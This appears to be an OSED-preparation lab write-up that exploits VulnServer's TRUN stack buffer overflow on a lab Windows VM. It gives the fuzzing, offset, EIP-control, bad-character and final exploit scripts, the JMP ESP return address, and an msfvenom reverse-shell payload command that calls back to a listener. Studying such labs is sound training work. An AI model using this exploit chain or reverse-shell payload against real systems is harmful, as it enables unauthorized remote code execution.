AVILX
EXPLOIT DEVELOPMENT · STACK BUFFER OVERFLOW · 2026
VulnServer TRUN
Stack Buffer Overflow · OSED Preparation · Classic BOF · No Protections
| Target | VulnServer 1.00 — TRUN command |
| Platform | Windows 10 Pro (x64) |
| Protections | No ASLR · No DEP · No Stack Canary |
| Attacker | BlackArch Linux |
| Debugger | WinDbg |
| Disassembler | IDA Free |
| Analista | Jesús Ávila (Avilx) |
| Fecha | Octubre 2026 |
| Portafolio | avilx.dev |
Entorno de laboratorio autorizado | Solo con fines educativos
exploit-dev-labs / vulnserver-trun
fuzzer.py · offset.py · eip_verify.py · badchars.py · exploit.py
Overview
This lab was designed to strengthen foundational skills in Python scripting, x86 assembly comprehension, and the use of debugging tools such as WinDbg. The target was a Windows 10 virtual machine running VulnServer, a deliberately vulnerable application exposing a classic stack buffer overflow in its TRUN command with no modern protections enabled. The goal was to learn and apply the complete exploit development methodology — from fuzzing to shell — as preparation for the OSED certification. The result was successful: a reverse shell was obtained on DESKTOP-SL1FVD0, confirming that each step of the methodology was executed correctly. Beyond the technical result, the most valuable outcome was understanding the reasoning behind each step, which will be essential for future labs and the OSED exam.
Environment Setup
Attacker Machine
| Component | Details |
|---|---|
| Operating System | BlackArch Linux |
| Python Version | Python 3.14.8 |
| Tools | Script Fuzzing |
Target Machine
| Component | Details |
|---|---|
| Virtualizer | VMWare Workstation Pro |
| Operating System | Windows 10 Pro |
| Application | VulnServer |
| Debugger | WinDbg |
| Disassembler | IDA Free |
| Protections | No ASLR · No DEP · No Stack Canary |
Network Configuration
| Host | IP Address |
|---|---|
| Attacker (BlackArch) | 192.168.174.1 |
| Target (Windows VM) | 192.168.174.132 |
| VulnServer Port | 9999 |
Service Reconnaissance
Service Banner
Black4rch # nc 192.168.174.132 9999
Welcome to Vulnerable Server! Enter HELP for help.
Available Commands
Valid Commands:
HELP
STATS [stat_value]
RTIME [rtime_value]
LTIME [ltime_value]
SRUN [srun_value]
TRUN [trun_value]
GMON [gmon_value]
GDOG [gdog_value]
KSTET [kstet_value]
GTER [gter_value]
HTER [hter_value]
LTER [lter_value]
KSTAN [lstan_value]
Fuzzing
Fuzzer Script
import socket
from time import sleep
ip = "192.168.174.132"
port = 9999
buffer = "A" * 100
while True:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,port))
print(s.recv(1024))
s.send(('TRUN .' + buffer).encode())
s.close()
sleep(1)
buffer = buffer + "A" * 100
except:
print(f"Crashed at {len(buffer)} bytes")
break
Result
Crashed at 2200 bytes
Offset Calculation
Pattern Generation
/opt/metasploit/tools/exploit/pattern_create.rb -l 2200
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5...
[truncated -- full pattern used in offset.py]
Offset Script
import socket
ip = "192.168.174.132"
port = 9999
buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1..." # 2200-byte cyclic pattern
# (truncated -- full pattern generated with pattern_create.rb -l 2200)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
print(s.recv(1024))
s.send(('TRUN .' + buffer).encode())
s.close()
EIP Value at Crash
Black4rch # /opt/metasploit/tools/exploit/pattern_offset.rb -l 2200 -q 396f4338
[*] Exact match at offset 2006
EIP Control Verification
EIP control verification
import socket
ip = "192.168.174.132"
port = 9999
buffer = "A" * 2006 + "B" * 4 + "C" * 190
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,port))
print(s.recv(1024))
s.send(('TRUN .' + buffer).encode())
s.close()
Bad Characters Identification
\x01 to \xff will be sent after the EIP overwrite and inspected in memory using WinDbg.import socket
ip = "192.168.174.132"
port = 9999
badchars = b""
for i in range(1, 256):
badchars += bytes([i])
buffer = b"A" * 2006 + b"B" * 4 + badchars
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,port))
print(s.recv(1024))
s.send(b'TRUN .' + buffer)
s.close()
\x01 to \xff were sent after the EIP overwrite. The memory dump at ESP showed the sequence intact with no missing or corrupted bytes. Therefore, the only confirmed bad character is \x00, which was excluded from the test by starting the sequence at \x01.Return Address
Finding JMP ESP
start end module name
00400000 00407000 vulnserver
62500000 62508000 essfunc <- VulnServer module, no ASLR
0:004> s -b 62500000 62508000 ff e4
625011af ff e4 ...
0:004> u 625011af
essfunc!EssentialFunc2+0x3:
625011af ffe4 jmp esp
Shellcode & Exploitation
Shellcode Generation
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.174.124 LPORT=4444
-b "\x00" -f python
Payload size: 351 bytes
Encoder: x86/shikata_ga_nai
Final Exploit Script
import socket
ip = "192.168.174.132"
port = 9999
buf = b""
buf += b"\xda\xd7\xd9\x74..." # 351 bytes, shikata_ga_nai encoded
# (full shellcode in exploit.py)
padding = b"\x90" * 16 # NOP sled
jmp_esp = b"\xaf\x11\x50\x62"
buffer = b"A" * 2006 + jmp_esp + padding + buf
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
print(s.recv(1024))
s.send(b"TRUN ." + buffer)
s.close()
Exploit Execution
A Netcat listener was started on port 4444 to catch the incoming reverse shell. The exploit sent a buffer of 2006 bytes to fill the stack, followed by the JMP ESP address at 0x625011af overwriting EIP, a 16-byte NOP sled, and the shellcode. Upon execution, a reverse shell connected back from DESKTOP-SL1FVD0 as user avilx.
Proof of Exploitation
C:\Users\Avilx\Downloads\vulnserver-master> whoami
desktop-sl1fvd0\avilx
C:\Users\Avilx\Downloads\vulnserver-master> hostname
DESKTOP-SL1FVD0
\avilx.Final Reflection
What Went Well
The overall flow from reconnaissance to exploitation worked well. The fuzzer script required some guidance on structure and ordering, but once understood, the logic was clear. WinDbg was used effectively throughout — attaching to the process, reading registers at the crash, and searching for JMP ESP. The most challenging part was not the technical work but documenting in English, which is a new skill being developed alongside exploit development. IDA Free was not needed for this lab but will be used in future labs.
What Went Wrong
The main difficulties were in writing the Python scripts. Several syntax and logic errors occurred throughout the lab: mixing strings and bytes in the buffer, forgetting to move the socket creation inside the loop, using a tuple instead of string concatenation for the buffer, and leaving the JMP ESP address as an unquoted variable instead of bytes. Each error required debugging and correction before moving forward. These mistakes were expected for a first exploit development lab and reinforced the importance of understanding Python’s type system when working with raw network data.
Lessons Learned
This lab established a solid foundation in how memory works during a stack buffer overflow: the stack layout, EIP control, bad character identification, and the role of JMP ESP. Basic Python scripting for exploit automation was practiced, along with fundamental WinDbg usage for crash analysis and memory inspection. For Lab 02 SEH, the focus will be on writing cleaner code with correct syntax and logic from the start, and using IDA Free to go deeper into the binary analysis rather than relying solely on WinDbg. SEH introduces a different exploitation technique and will require understanding exception handler chains — a step up in complexity from vanilla BOF.
Connection to Vulnerability Research
This lab was performed without modern protections — no ASLR, no DEP, no stack canary. In a real-world CVE scenario, ASLR would randomize module base addresses on every reboot, making the JMP ESP address unreliable and requiring an information leak to defeat it. DEP would prevent shellcode execution on the stack, requiring a ROP chain to call VirtualProtect and mark the memory region executable before jumping to the payload. These techniques — ROP chains, information leaks, and bypass methods — are the core of OSED and real vulnerability research. This lab established the baseline that those advanced techniques build on.
Time Breakdown
| Phase | Time |
|---|---|
| Reconnaissance & Fuzzing | 20 Minutes |
| Offset & EIP Control | 40 Minutes |
| Bad Characters | 40 Minutes |
| Return Address | 1 Hour |
| Shellcode & Final Exploit | 1 Hour |
| Documentation | 1 Hour |
| Total | 4 Hours 20 Minutes |